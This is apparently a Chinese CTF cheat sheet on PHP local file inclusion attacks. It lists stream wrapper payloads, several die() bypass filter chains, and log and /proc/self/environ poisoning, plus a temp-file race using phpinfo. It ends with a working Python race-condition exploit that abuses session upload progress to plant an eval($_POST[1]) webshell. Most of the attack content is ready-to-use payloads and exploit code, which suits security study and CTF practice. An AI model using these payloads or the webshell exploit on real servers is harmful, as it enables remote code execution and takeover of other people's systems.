常见函数
- include():仅包含, 包含失败不影响执行
- require():必须包含成功,有报错会后面不执行
- include_once():包含一次 ,再次包含不重复包含
- require_once():包含一次 ,再次包含不重复包含
伪协议利用
常见伪协议
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| file:///etc/passwd file://../../../f1ag file://C:\Windows\System32\drivers\etc\hosts
php://input php://filter/resource=1.php
读源码: php://filter/read=convert.base64-encode/resource=flag.php 写文件: php://filter/write=convert.base64-decode/resource=shell.php (还有rot13 strip_tags...)
data://text/plain,<?php phpinfo();?> data://text/plain,"<?php phpinfo();?>" 可用简写 data:,<?=phpinfo(); data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
|
die()绕过
1 2 3
| $file = $_GET['file']; $content = $_POST['content']; file_put_contents($file,"<?php die();?>".$content);
|
方法1: rot13
1 2 3 4
| file=php: content=<?cuc cucvasb();?>
shell.php 内容: <?cuc qvr();?><?php phpinfo();>
|
方法2: base64
1 2 3 4 5 6 7 8
| file=php: content=aaPD9waHAgcGhwaW5mbygpOz8%2b
shell.php内容: �]��<?php phpinfo();?>
|
方法3: strip_tags
1 2
| file=php: content=PD9waHAgcGhwaW5mbygpOz8%2b
|
常见利用
文件名可控
文件名可控,即可控制协议头
1 2 3
| <?php $file=$_GET['file']; include $file.".php";
|
后缀可控
考虑路径跳转
日志文件包含
- nginx:
/var/log/nginx/access.log
- apache2:
/var/log/apache/access.log
在不会被url编码的位置传入<?php phpinfo();?>
例如User-Agent
然后包含日志文件即可
临时文件包含
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考
LFI With PHPInfo Assistance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
利用方法简述 在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。
同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。
在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。
但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
这个时候就需要用到条件竞争,具体流程如下:
发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大 php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
|
包含/pros/self/environ
proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。
利用条件:
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
参考文章:proc / self / environ Injection
session文件包含和upload_progress
session默认路径
1 2 3 4
| /var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID
|
如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的sessionID字段。(没有权限)而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。
几个相关配置
session.auto_start
:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。
session.upload_progress.cleanup = on
:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启
session.use_strict_mode
:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。
参考文章: 浅谈 SESSION_UPLOAD_PROGRESS 的利用
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import requests import threading session = requests.session() sess = 'xxxx' url = ""
data1 = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php echo "success";file_put_contents("/var/www/html/1.php","<?php eval(\\$_POST[1]);?>");?>' } file = { 'file': 'xxxx' } cookies = { 'PHPSESSID': sess }
def write(): while True: r = session.post(url, data=data1, files=file, cookies=cookies)
def read(): while True: r = session.get(url+"?file=../../../../../../../tmp/sess_ctfshow") if 'success' in r.text: print("shell 地址为:"+url+"1.php") exit()
threads = [threading.Thread(target=write), threading.Thread(target=read)] for t in threads: t.start()
|
pear文件包含
待填坑